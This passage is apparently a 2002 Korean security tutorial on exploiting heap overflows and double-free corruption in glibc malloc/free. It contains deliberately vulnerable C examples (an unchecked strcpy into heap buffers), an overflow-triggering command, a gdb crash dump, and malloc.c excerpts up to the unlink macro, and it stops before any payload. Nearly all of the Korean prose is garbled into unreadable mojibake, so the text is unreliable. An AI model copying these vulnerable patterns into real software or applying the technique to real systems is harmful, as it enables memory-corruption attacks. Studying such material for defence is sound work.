Heap Overflow - feee/malloc, double Free Corruption by truefinder , 4, 2002 in Korea frog@hackerslab.com, seo@igrus.inha.ac.kr °¡. ¾²±âÀü¿¡ =========================== ¿ì¼± ±Û¸¦ ¾²±âÀü¿¡ Ç×»ó ¾ÕµÚ·Î ¹°½É¾ç¸é khdp ¹× Àú¸¦ µµ¿ÍÁ̴ּø ¸¹Àº ºÐµé²² °¨»ç¸¦ µå¸³´Ï´Ù. ±× ºÐµéÀÇ µµ¿òÀÌ ¾ø¾ú´õ¶ó¸é, Áö±Ý±îÁö Á¦°¡ ÀÌ ÀÏÀ» °è¼Ó ÇØ ³ª°¥¼ö ÀÖÀ»Áö¿¡ ´ëÇØ Àǹ®ÀÔ´Ï´Ù. ÀÌ ¹®¼­¸¦ ±× ºÐµé²² ¹ÙĨ´Ï´Ù. Thanks to amadoh4ck, mat, oxffffff, real, river and team igrus, team nullroot. specially thanks to intelligence troops at hackerslab. ÇѸ¶µð ´õ, ÀÌ ¹®¼­¿¡ ´ëÇÑ ÆDZÇ(Copyright)Àº ¾ø½À´Ï´Ù. ÇÏÁö¸¸ ÀÌ ³»¿ëÀ» Àڱ⠰³ÀÎÀÇ ¹ßÀü, ȤÀº Áö½ÄÀÇ ÃæÁ·¿¡¸¸ È°¿ëÇϼÌÀ¸¸é ÁÁ°Ú½À´Ï´Ù. ±×¸®°í ±×·ÎÀÎÇØ ´õ ¸¹Àº, ´õ ±íÀº Áö½ÄÀÇ Åä·ÐÀÌ ¿À°¬À¸¸é ÇÏ´Â ¹Ù·¥ÀÔ´Ï´Ù. ¾Æ¹«ÂÉ·Ï ÀÌ ±ÛÀÌ Çѱ¹ÀÇ º¸¾È Àü¹®°¡ ³»Áö´Â ÇØÄ¿µé¿¡°Ô free/malloc exploit ȤÀº heap overflowÀÇ double free bug¸¦ ÀÌÇØÇϽôµ¥ µµ¿òÀÌ µÇ¾úÀ¸¸é ÇÕ´Ï´Ù. Âü°í·Î, ÀÌ ¹®¼­ÀÇ ÃÖÃÊ °ø°³Áö´Â http://igrus.inha.ac.kr/~seo/exposed/heap-free.txt ÀÔ´Ï´Ù. ³ª. free/malloc method ¼Ò°³ ================================ free/malloc heap overflow bug´Â °áÄÚ »õ·Î¿î °ÍÀÌ ¾Æ´Õ´Ï´Ù. ÀÌ°ÍÀº ¹ú½á 2000³âµµ ¿©¸§¿¡ Linux Security Auditing ProjectÀÇ ¸ÞÀϸµ¸®½ºÆ®¿¡¼­ ³íÀǵǾîÁø ³»¿ëÀÔ´Ï´Ù. Chris EvansÀÇ ¹ßÀÇ·Î free()¿¡ ´ëÇÑ abusing¿¡ ´ëÇØ ¿©·¯»ç¶÷ÀÌ Âü¿©ÇÏ¿© Åä·ÐÇÏ´ø Áß¿¡ - ±×Áß¿¡´Â À¯¸íÇÑ Solar Designerµµ ÀÖ½À´Ï´Ù - Pekka Savola¶ó´Â »ç¶÷ÀÌ LBL traceroute¹®Á¦¸¦ ã¾Æ³»°Ô µÇ°í, ±×°ÍÀ» Chris Evans°¡ bugtraq¿¡ ±Ç°í¹®À» ³»¾î ½ÇÁ¦ÀûÀ¸·Î À̵ëÇØ 10¿ù ±â¼úÀûÀ¸·Î ¶Ù¾î³­ synnergy ÆÀÀÇ ±¸¼º¿øÀÎ dvorakÀÌ exploitÀ» ³»³õ°Ô µÇ¾ú½À´Ï´Ù. ±×¸®°í ±× ÀÛÀº ÀÏÈ­·Î ÀÎÇØ ÀÌ exploit method°¡ heap overflowÀÇ ÇÑ ±â¼ú·Î½á ¼¼·Ãµµ¸¦ ³ô¿© ³ª°¡°Ô µÈ °ÍÀÔ´Ï´Ù. ÀÌ ±â¼ú¿¡ ´ëÇÑ ¿©·¯°¡Áö ¸íĪÀÌ ÀÖ½À´Ï´Ù. free/malloc overflow exploit, double free bug , heap structure exploits, heap corruption µîµî. ÀüüÀûÀ¸·Î ±â¼úÀûÀÎ ºÐ·ù·Î´Â heap overflow¿¡ ¼ÓÇϸç, º» ¹®¼­¿¡¼­´Â free/malloc overflow¶ó°í ÅëĪÇÏ°Ú½À´Ï´Ù. ¾Æ·¡ÀÇ ¸µÅ©¸¦ ã¾Æº¸½Ã¸é Á¦°¡ À§¿¡¼­ ¸»¾¸µå¸° ÈçÀû(?)µéÀ» ã¾Æº¸½Ç ¼ö ÀÖ½À´Ï´Ù. ¸®´ª½º º¸¾È °¨»ç ÇÁ·ÎÁ§Æ® "free() issues" http://security-archive.merton.ox.ac.uk/security-audit-200007/index.html#13 ½Ã³ÊÁöÆÀÀÇ LBL traceroute exploit http://www.synnergy.net/downloads/exploits/traceroute-exp.txt ÀÌ ±â¼úÀº format string°ú ÇÔ²² Á¦ 3¼¼´ë (3th generation) ±â¼úÀ̶ó°í ÀÏÄþî Áö°í ÀÖ½À´Ï´Ù. ÀÌ¿¡ ´ëÇÑ °ø½ÄÀûÀÎ ¹ßÇ¥´Â 2001³âµµÀÇ Black Hat À¯·´ ¼¼¹Ì³ª¿¡¼­, NT¹× Windows °Ô¿­¿¡ ´ëÇÑ ¼½¼ÇÁß¿¡ "Third Generation Exploits on NT/Win2k Platforms" À̶ó´Â Á¦¸ñÀ¸·Î Halvar flake¶õ »ç¶÷¿¡ ÀÇÇØ ÀÌ·ç¾îÁ³½À´Ï´Ù. °Å±â¼­ ±×´Â 1¼¼´ë ±â¼úÀÌ ´Ü¼øÈ÷ return address¸¦ µ¤¾î¾º¿ì´Â ´Ü¼øÇÑ °ÍÀ̶ó¸é, 2¼¼´ë ±â¼úÀº frame pointer¸¦ overwritingÇÏ´Â ±â¼ú, ±×¸®°í Á¦ 3¼¼´ë±â¼úÀº malloc/freeÀÇ OverwritingÀ̳ª format stringÀ̶ó°í ¾ð±ÞÇß½À´Ï´Ù. ±Ý³âµé¾î ÃÖ±Ù¿¡ ³ª¿Â overflow·ù ¹ö±×µéÀÌ ¸ðµÎ ÀÌ ±â¼ú¿¡ ÇØ´çÇÏ´Â °ÍÀ» º¸¾Æµµ, ÀÌ·¯ÇÑ Ãß¼¼´Â ½±°Ô ¾Ë¾Æ Â÷¸± ¼ö ÀÖ½À´Ï´Ù. À¯¸íÇÑ Zlib bug, Dtspcd bug, Solaris cachefsd, Sudo bug, ±×¸®°í Wu-ftpdÀÇ globbing ¹ö±×µî... ±Ù·¡ÀÇ ±½Á÷±½Á÷ÇÏ°í Áß¿äÇÑ security issueµéÀÌ ¹Ù·Î ÀÌ¿¡ °ü·ÃµÇ¾î ÀÖ½À´Ï´Ù. ¸ÕÀú ±â¼úÀûÀ¸·Î °£´ÜÈ÷ ¾ð±ÞÇϸé, ÀÌ free/malloc exploitÀº °¢ OSÀÇ free/malloc±¸Çö¿¡ ÀÇÁ¸ÇÕ´Ï´Ù. ±×¸®°í stack overflow¿Í´Â ´Þ¸® ÁÖ·Î heap excutionÀ» »ç¿ëÇÕ´Ï´Ù. ±×¸®°í heap excutionÀ» »ç¿ëÇϱ⶧¹®¿¡ ÀÌÀüÀÇ OSµéÀÌ ¸¶·ÃÇÑ ¿©·¯°¡Áö º¸È£ÀåÄ¡µéÀ» ¿ìȸÇÒ ¼ö ÀÖ½À´Ï´Ù. OS±â¹ÝÀÇ none-excutable stackÀ̶õ ¹æ¾î±â¹ýÀº µû¶ó¼­ ÀÌ ±â¼ú¿¡¼­´Â ¹«¿ëÁö¹°ÀÌ µË´Ï´Ù. ¶ÇÇÑ, ¾ÆÁ÷ ³Î¸® ¾Ë·ÁÁöÁö ¾ÊÀº º¹ÀâÇÑ ¹æ½ÄÀ̱⠶§¹®¿¡ ÇöÀç ¾²ÀÌ°í ÀÖ´Â ¸¹Àº applicationµé¿¡ ¼ö¸¹Àº ¹ö±×µéÀÌ ÀáÀçÇØ ÀÖÀ» ¼ö ÀÖ´Ù°í ÇÒ ¼ö ÀÖ½À´Ï´Ù. ´Ù. ±â¼úÀÇ ¹è°æ & ¹®Á¦ÀÎ½Ä ============================ ¾ÆÁÖ ±âº»ÀûÀ¸·Î ´ÙÀ½°ú °°Àº ¼Ò½º¸¦ º¸°Ú½À´Ï´Ù. -- frog.c #Example for usage of free/malloc #include int main( argc, argv) int argc; char *argv[]; { char *mem; if ( argc < 2 ){ fprintf(stderr, "need args\n"); exit(-1); } mem = (char*)malloc(128); strcpy( mem, argv[1] ); printf("echo %s\n", mem ); free(mem); } À§´Â 128bytes °ø°£À» ¸¸µé¾î¼­, »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ¹Þ´Â ¿¹ÀÔ´Ï´Ù. ÀÌ ¿¹´Â º¸Åë ¾î¶»°Ô free¿Í mallocÀ» ¾²´Â°¡¿¡ ´ëÇÑ °ÍÀ» ³ªÅ¸³»±â À§ÇØ Ã·ºÎÇØ º¸¾Ò½À´Ï´Ù. º¸Åë malloc()À¸·Î heap ¿µ¿ª¿¡ »ç¿ëÀÚ°¡ ¿ä±¸ÇÏ´Â ¸¸Å­ÀÇ °ø°£À» ¸¸µé¾î¼­ µ¿ÀûÀ¸·Î memory¸¦ »ç¿ëÇÒ ¼ö ÀÖ°Ô µË´Ï´Ù. À§ÀÇ ÇÁ·Î±×·¥Àº Overflow°¡ ÀϾ¼ö ÀÖ½À´Ï´Ù. ÇÏÁö¸¸, ¾ÆÁ÷ exploitÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀÌ ¾ø½À´Ï´Ù. ´Ù¸¸ strcpy¿¡¼­ segment fault°¡ ³¯ »ÓÀÔ´Ï´Ù. ÀϹÝÀûÀ¸·Î ÇÁ·Î±×·¡¸Ó´Â ÇÑ ÇÁ·Î±×·¥³»¿¡¼­ ¿©·¯°³ÀÇ µ¿Àû¸Þ¸ð¸®¸¦ ÇÒ´çÇؼ­ ¾²°ÔµË´Ï´Ù. m1 = malloc(1024); m2 = malloc(2048); ... free(m1); free(m2); ¾ÆÁÖ ÈçÇÑ °æ¿ì°¡ ¹Ù·Î À§¿Í °°Àº ½ÄÀÔ´Ï´Ù. (double free bug¶ó´Â ¿ë¾îÀÇ ±â¿øÀº À§ÀÇ ¿¹¿¡¼­ ¸Ç ¾Æ·¡ µÎÁÙ¿¡¼­ ãÀ» ¼ö ÀÖ½À´Ï´Ù.) ¹®Á¦´Â m1ÀÇ ÀÔ·ÂÀ» ¹ÞÀ¸¸é¼­ ÀÔ·ÂÀÇ ±æÀÌ¿¡¼­ overflowüũ¸¦ ÇÏÁö ¾Ê¾Æ m2ÀÇ ¸Þ¸ð¸®¿µ¿ªÀ» µ¤¾î¾µ ¶§ÀÔ´Ï´Ù. ½ÇÁ¦ ÄÚµå¿Í ½ÇÇà»óŸ¦ »ìÆ캸¸é ¾Æ·¡¿Í °°½À´Ï´Ù. --frog2.c #example of double free corruption #include #include int main( argc, argv) int argc; char *argv[]; { char *m1, *m2; m1 = malloc( 128 ); m2 = malloc( 32); //...works something. strcpy( m1, argv[1] ); //...did /// break here. free(m1); free(m2); } [seo@omg ex]$ gcc -o frog2 frog2.c -g [seo@omg ex]$ ./frog2 `perl -e 'print "A"x200'` Segmentation fault (core dumped) [seo@omg ex]$ gdb frog2 core GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT) Copyright 2001 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Core was generated by `./frog2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x400a094d in chunk_free (ar_ptr=0x40152160, p=0x80496d8) at malloc.c:3231 3231 malloc.c: No such file or directory. in malloc.c (gdb) info reg eax 0x8049760 134518624 ecx 0x41414140 1094795584 edx 0x8049760 134518624 ebx 0x40153c90 1075133584 esp 0xbffff9b0 0xbffff9b0 ebp 0xbffff9d8 0xbffff9d8 esi 0x40152160 1075126624 edi 0x80496d8 134518488 eip 0x400a094d 0x400a094d eflags 0x10202 66050 cs 0x23 35 ... »ý·« ... ÇÏÁö¸¸, À§¿¡¼­ º¸´Â ¹Ù¿Í °°ÀÌ, mallocÀ¸·ÎºÎÅÍ ¼³Á¤µÈ ¸Þ¸ð¸®ÀÇ overflow´Â stack overflow¿Í´Â ´Þ¸®, Á÷Á¢ÀûÀ¸·Î return address°°Àº ¹Î°¨ÇÑ ºÎºÐÀ» °Çµå¸®´Â °Íó·³ º¸ÀÌÁö´Â ¾Ê½À´Ï´Ù. ÇÏÁö¸¸ ÇØÄ¿µéÀÇ ´«¿¡´Â ÀÌ ¹®Á¦°¡ ±×·¸°Ô ´Ü¼øÇÏ º¸ÀÌÁö ¸¸Àº ¾Ê¾Ò´Â°¡ º¾´Ï´Ù. °ú°Å ±×µéÀÇ ¿©·¯°¡Áö test ¹× auditingÀ» ÅëÇØ freeÀÇ inner functionÀÎ chunk_free()ÀÇ ºÎºÐ¿¡¼­ security¹®Á¦¿¡ ¿µÇâÀ» ³¢Ä¡´Â °ÍÀ¸·Î Áõ¸íÀ» Çس½À´Ï´Ù. ¾ÕÀ¸·Î ³ª¿Ã Àå¿¡¼­ ¿ì¸®´Â ±×°ÍµéÀ» ¼¼¼¼È÷ »ìÆ캸·Á°í ÇÕ´Ï´Ù. ¶ó. Chunk & Bins Management ============================ ¾Æ·¡¿¡¼­ ¿ì¸®´Â malloc.cÀÇ ¸î°¡ÁöÀÇ ÀڷᱸÁ¶¿Í ¼Ò½ºµé¸¦ »ìÆ캼 °ÍÀÔ´Ï´Ù. ÀÌ°ÍÀº ¿ì¸®°¡ óÀ½ malloc¹× free¿¡ ´ëÇÑ ÇØÅ·À» ÇϱâÀ§ÇÑ ÀüÃÊÀü Á¤µµ·Î º¸¸é µÉ °ÍÀÔ´Ï´Ù. ¿©·¯ºÐÀº ¿ì¼± chunk¶ó´Â »õ·Î¿î µ¥ÀÌÅͱ¸Á¶¿Í, bins¹× bin management ¶ó´Â chunk list¸¦ ±¸¼ºÇÏ´Â ¾Ë°í¸®Áò¿¡ °ü·ÃÇؼ­ ±×°ÍµéÀÌ ¹«¾ùÀÎÁö, ¾î¶² ¿ªÇÒÀ» ¼öÇàÇÏ´ÂÁö¸¦ ¾Ë¾Æ¾ß ÇÕ´Ï´Ù. ¿ì¸®°¡ malloc()À¸·Î µ¿Àû¸Þ¸ð¸®¸¦ ±¸¼ºÇÏ´Â °ÍÀº heap¿¡ chunk¶ó´Â ÀڷᱸÁ¶¸¦ Çϳª ¼±¾ðÇÏ´Â °Í°ú °°½À´Ï´Ù. chunk¶ó´Â ÀڷᱸÁ¶´Â À¯Àú°¡ ¾ó¸¸Å­ÀÇ ¸Þ¸ð¸®¸¦ ¼±¾ðÇߴ°¡(size), ÀÌÀüÀÇ chunk°¡ ¾î¶»°Ô ¾²ÀÌ°í Àִ°¡¿Í ½ÇÁ¦ ¾²¿©Áö´Â ¸Þ¸ð¸®¿µ¿ª, ±×¸®°í chunk¸®½ºÆ®¸¦ À¯ÁöÇϱâ À§ÇÑ double linked list Æ÷ÀÎÅ͵é(fd,bk)À» Æ÷ÇÔÇÕ´Ï´Ù. ¿ì¸®°¡ ´ÙÀ½°ú °°Àº ¼±¾ðÀ» ÇÏ°Ô µÇ¸é, mem = malloc(USER_ALLOCATE_SIZE); ÇÒ´çµÇ´Â chunkÀÇ ¸ð½ÀÀº ¾Æ·¡¿Í °°½À´Ï´Ù. chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk, if allocated | | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | User data starts here... . . . . (malloc_usable_space() bytes) . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ À§¿¡¼­ º¸¸é, ÀÌÀüÀÇ chunk¿¡ ´ëÇÑ Å©±â, Çö chunkÀÇ Å©±â, ±×¸®°í ½ÇÁ¦ ¿ì¸®°¡ »ç¿ëÇÏ´Â ¸Þ¸ð¸®¿µ¿ªÀ» ã¾Æ º¼ ¼ö ÀÖ½À´Ï´Ù. ¸Þ¸ð¸®ÀÇ »ç¿ëÀ» Á¾·áÇϱâ À§ÇØ memÀÌ free()µÇ¸é free(mem); ´ÙÀ½°ú °°Àº ¸ð½ÀÀ» °®°Ô µË´Ï´Ù. chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Size of previous chunk | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `head:' | Size of chunk, in bytes |P| mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Forward pointer to next chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Back pointer to previous chunk in list | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Unused space (may be 0 bytes long) . . . . | nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `foot:' | Size of chunk, in bytes | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ óÀ½ÀÇ µÎ Çʵå´Â °°°Ô »ç¿ëµÇÁö¸¸, free()ÈÄ¿¡´Â ³ª¸ÓÁö µÎ°³ÀÇ ÀڷᱸÁ¶ Çʵ尡 ´õ Çü¼ºµË´Ï´Ù. ¹Ù·Î Forward pointer¿Í , Back pointer¶ó´Â °ÍÀÔ´Ï´Ù. ÀÌ°ÍÀº ÀÌÀü chunk¿Í ´ÙÀ½ÀÇ chunk¸¦ °¡¸£Å°°Ô µË´Ï´Ù. ÀÌ´Â °¢ freeµÈ chunkµéÀÌ double linked list·Î ¿¬°áµÇ¾î ÀÖÀ½À» ¸»ÇØÁÖ´Â ´ë¸ñÀÔ´Ï´Ù. ÀÌ¿Í °°ÀÌ ÇÏ´Â ÀÌÀ¯´Â °¢ µ¿Àû ¸Þ¸ð¸®¸¦ È¿À²ÀûÀ¸·Î °ü¸®Çϱâ À§ÇÔÀÔ´Ï´Ù. freeµÈ chunkµéÀÌ ¼­·Î ¿¬°èµÇ¾î ÀÖÀ½À¸·ÎÇؼ­ »õ·Î¿î µ¿Àû¸Þ¸ð¸® ¿äûÀÌ ÀÖÀ»¶§, ÇÁ·Î±×·¥¿¡¼­ »ç¿ëÀÌ Á¾·áµÈ ¸Þ¸ð¸® (freeµÈ ¸Þ¸ð¸®)¸¦ Ž»öÇÏ¿© ÀçÇÒ´çÇÏ´Â µîÀ» ÅëÇؼ­ Á» ´õ È¿À²ÀûÀ¸·Î ¸Þ¸ð¸® °ü¸®/Á¢±ÙÀ» ¼öÇàÇÒ ¼ö ÀÖ½À´Ï´Ù. - À̸¦Å׸é, ¿©·¯°³ÀÇ ¸Þ¸ð¸®¸¦ ÇÒ´çÇÏ°í, Áß°£¿¡ ¾î¶² °ÍÀ» free½ÃŲÈÄ ´Ù½Ã ´Ù¸¥ ¸Þ¸ð¸®¸¦ ÇÒ´çÇÏ·Á´Â °æ¿ì, ¸ÕÀú freeµÈ chunkµéÀÇ ¸®½ºÆ®¸¦ º¸¸ç °Ë»ö, ÀçÇÒ´çÇÔÀ¸·Î½á È¿À²¼ºÀ» ³ôÀÔ´Ï´Ù. - ÀÌ·¯ÇÑ ¾Ë°í¸®ÁòÀ» bins management¶ó°í ºÎ¸¨´Ï´Ù. ½ÇÁ¦·Î binsÀÚü´Â °¢ chunkÀÇ forward pointer¿Í backward pointerÀÇ pair¹è¿­ÀÔ´Ï´Ù¸¸, ¹Ù·Î ¾Æ·¡¿Í °°Àº ¿ªÇÒÀ» ¼öÇàÇÏ´Â ½ÇÁ¦ÀûÀÎ ÀÏÀ» ÇÕ´Ï´Ù. +---+ +---------------+ +---------------+ +----+ +-----~ | v | v | v | v | +-----------+------+-------+-----------+-------+-----------+-------+------+---~ | allocated | Free | Free | allocated | Free | allocated | Free | Free | +-----------+------+-------+-----------+-------+-----------+-------+------+---~ ^ | ^ | ^ | ^ | ^ +---+ +---------------+ +---------------+ +----+ +-----~ ÀÌ¿¡ ´ëÇÑ ÀڷᱸÁ¶ÀÇ Á¤ÀÇ´Â ´ÙÀ½°ú °°½À´Ï´Ù. --malloc.c #malloc ÀڷᱸÁ¶ /* Type declarations */ struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; }; ... ¸¶. Free() ¸ÞÄ¿´ÏÁò ====================== À§¸¦ ÅëÇØ chunk¶ó´Â °Í°ú, bins management¿¡ ´ëÇؼ­ ¾Ë°Ô µÇ¾ú½À´Ï´Ù. ¿ì¸®°¡ ÀÌÁ¦ »ìÆ캸¾ßÇÒ °ÍÀº ÀÌÁ¦ ±×°ÍµéÀÌ ¾î¶»°Ô ¹®Á¦°¡ µÇ´À³Ä ÇÏ´Â °ÍÀÔ´Ï´Ù. ¾Õ¿¡¼­µµ º¸¾ÒµíÀÌ °¢ freeµÈ chunkµéÀº ´õºí¸µÅ©µå ¸®½ºÆ®¿¡ ÀÇÇØ °ü¸®µÇ°í ÀÖ½À´Ï´Ù. *´õ ÀÚ¼¼È÷ »ìÆ캸¾Æ¾ß ÇÒ°ÍÀº ¹Ù·Î ÀÌ free()ÀÇ °úÁ¤¿¡¼­ °¢ chunk¸¦ °ü¸®ÇÒ¶§, »ç¿ëÁßÀÌÁö ¾Ê´Â ÀÌÀü chunk, ȤÀº ÀÌÈÄÀÇ chunk¿¡ ´ëÇؼ­ º´ÇÕ°úÁ¤À» ¼öÇàÇÑ´Ù´Â °ÍÀÔ´Ï´Ù. ÀÌ°Í ¿ª½Ã È¿À²¼ºÀ» À§Çؼ­ ÀÔ´Ï´Ù. ±× °úÁ¤¿¡¼­ double linked listÀÇ °¢ Æ÷ÀÎÅ͵éÀÌ ¹Ù²î´Â Àå¸éÀÌ Àִµ¥, ¹Ù·Î ÀÌ°ÍÀÌ ¹®Á¦°¡ µÇ´Â °÷À̶ó°í ÇÒ ¼ö ÀÖ°Ú½À´Ï´Ù. Àü Àå¿¡¼­ º¸¾Ò´ø chunkÀÇ ±¸Á¶¸¦ º¸¸é »ó´Ü ¿ìÃø ³¡¿¡ P¶ó´Â flag°¡ Àִµ¥, ÀÌ°ÍÀÌ ¹Ù·Î ÀÌÀü chunk°¡ allocatedµÇ¾î Àִ°¡(»ç¿ëÁßÀΰ¡)¿Í ±×·¸Áö ¾ÊÀº°¡¸¦ ³ªÅ¸³» ÁÝ´Ï´Ù. º¸Åë PREV_INUSE¶ó´Â Á¤ÀÇ·Î markingÇϴµ¥, ±× flag°¡ 1·Î ºÙ¾îÀÖÀ» °æ¿ì´Â ÀÌÀüÀÇ chunk°¡ »ç¿ëÁßÀÌ¸ç º´ÇÕÀ» ¼öÇàÇÏÁö ¾Ê½À´Ï´Ù. ±×·¯³ª ±× mark°¡ ¾øÀ»°æ¿ì free()¼öÇàÁß¿¡ ÀÌÀü ûũ¸¦ º´ÇÕÇÏ´Â °úÁ¤À» ¼öÇàÇÏ°Ô µË´Ï´Ù. ¾Æ·¡ ¼Ò½º¸¦ Âü°íÇϼ¼¿ä. Memory deallocationÀÇ ¼¼°¡Áö ¹ýÄ¢ 1.When the chunk to be freed borders the wilderness chunk, it is consolidated into it 2.If the chunk before the one to be freed is unallocated, it is consolidated into a single large chunk 3.If the chunk after the one to be freed is unallocated, it is consolidated into a single large chunk --malloc.c # free()¾Ë°í¸®Áò ºÎºÐ /* free() algorithm : cases: 1. free(0) has no effect. 2. If the chunk was allocated via mmap, it is released via munmap(). 3. If a returned chunk borders the current high end of memory, it is consolidated into the top, and if the total unused topmost memory exceeds the trim threshold, malloc_trim is called. 4. Other chunks are consolidated as they arrive, and placed in corresponding bins. (This includes the case of consolidating with the current `last_remainder'). */ #if __STD_C void fREe(Void_t* mem) #else void fREe(mem) Void_t* mem; #endif { arena *ar_ptr; mchunkptr p; /* chunk corresponding to mem */ #if defined _LIBC || defined MALLOC_HOOKS if (__free_hook != NULL) { #if defined __GNUC__ && __GNUC__ >= 2 (*__free_hook)(mem, RETURN_ADDRESS (0)); #else (*__free_hook)(mem, NULL); #endif return; } #endif if (mem == 0) /* free(0) has no effect */ return; p = mem2chunk(mem); #if HAVE_MMAP if (chunk_is_mmapped(p)) /* release mmapped memory. */ { munmap_chunk(p); return; } #endif ar_ptr = arena_for_ptr(p); #if THREAD_STATS if(!mutex_trylock(&ar_ptr->mutex)) ++(ar_ptr->stat_lock_direct); else { (void)mutex_lock(&ar_ptr->mutex); ++(ar_ptr->stat_lock_wait); } #else (void)mutex_lock(&ar_ptr->mutex); #endif chunk_free(ar_ptr, p); (void)mutex_unlock(&ar_ptr->mutex); } static void internal_function #if __STD_C chunk_free(arena *ar_ptr, mchunkptr p) #else chunk_free(ar_ptr, p) arena *ar_ptr; mchunkptr p; #endif { INTERNAL_SIZE_T hd = p->size; /* its head field */ INTERNAL_SIZE_T sz; /* its size */ int idx; /* its bin index */ mchunkptr next; /* next contiguous chunk */ INTERNAL_SIZE_T nextsz; /* its size */ INTERNAL_SIZE_T prevsz; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ int islr; /* track whether merging with last_remainder */ check_inuse_chunk(ar_ptr, p); sz = hd & ~PREV_INUSE; next = chunk_at_offset(p, sz); nextsz = chunksize(next); if (next == top(ar_ptr)) /* merge with top */ { sz += nextsz; if (!(hd & PREV_INUSE)) /* consolidate backward */ { prevsz = p->prev_size; p = chunk_at_offset(p, -(long)prevsz); sz += prevsz; unlink(p, bck, fwd); } set_head(p, sz | PREV_INUSE); top(ar_ptr) = p; #if USE_ARENAS if(ar_ptr == &main_arena) { #endif if ((unsigned long)(sz) >= (unsigned long)trim_threshold) main_trim(top_pad); #if USE_ARENAS } else { heap_info *heap = heap_for_ptr(p); assert(heap->ar_ptr == ar_ptr); /* Try to get rid of completely empty heaps, if possible. */ if((unsigned long)(sz) >= (unsigned long)trim_threshold || p == chunk_at_offset(heap, sizeof(*heap))) heap_trim(heap, top_pad); } #endif return; } islr = 0; if (!(hd & PREV_INUSE)) /* consolidate backward */ { prevsz = p->prev_size; p = chunk_at_offset(p, -(long)prevsz); sz += prevsz; if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ islr = 1; else unlink(p, bck, fwd); } if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ { sz += nextsz; if (!islr && next->fd == last_remainder(ar_ptr)) /* re-insert last_remainder */ { islr = 1; link_last_remainder(ar_ptr, p); } else unlink(next, bck, fwd); next = chunk_at_offset(p, sz); } else set_head(next, nextsz); /* clear inuse bit */ set_head(p, sz | PREV_INUSE); next->prev_size = sz; if (!islr) frontlink(ar_ptr, p, sz, idx, bck, fwd); #if USE_ARENAS /* Check whether the heap containing top can go away now. */ if(next->size < MINSIZE && (unsigned long)sz > trim_threshold && ar_ptr != &main_arena) { /* fencepost */ heap_info *heap = heap_for_ptr(top(ar_ptr)); if(top(ar_ptr) == chunk_at_offset(heap, sizeof(*heap)) && heap->prev == heap_for_ptr(p)) heap_trim(heap, top_pad); } #endif } ¾Õ¼­ ¸»ÇßµèÀÌ ¾î¶²»óȲ¿¡¼­ free´Â ¼­·Î º´ÇյǴ °úÁ¤À» °ÅĨ´Ï´Ù. À§¿¡¼­ ¹®Á¦°¡ µÇ´Â ºÎºÐÀº ¹Ù·Î unlink¶ó´Â ¸ÅÅ©·ÎºÎºÐÀε¥, freeÀÇ double linked list¿¡ °¢ ÀÌÀü ÀÌÈÄÀÇ Æ÷ÀÎÅ͸¦ ¹Ù²Ù´Â ¿ªÇÒÀ» ÇÕ´Ï´Ù. --malloc.c # unlink¸ÅÅ©·Î ºÎºÐ /* take a chunk off a list */ #define unlink(P, BK, FD) \ { \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ } ¿ø·¡ÀÇ chunkÀÇ double linked listÀÇ ¸ð½ÀÀÌ ´ÙÀ½°ú °°Àº ¸ð¾çÀ̶ó¸é, P¸¦ free()ÇÒ¶§, ¾Æ·¡¿Í °°Àº ¸ð½ÀÀ¸·Î ¼öÇàÀÌ µË´Ï´Ù. +------------------+ +----------------+ +-----> |fd | |fd | | +------+------+ bk +----v---+----+ bk +----v--+-----+ | BK |<-----| P |<-----| FD | +-------------+ +-------------+ +-------------+ ±×¸®°í P¿¡ ´ëÇÑ free()°¡ ¼öÇàµÉ¶§ ±× ÀÌÀüchunk¿Í , ÀÌÈÄ chunkÀÇ 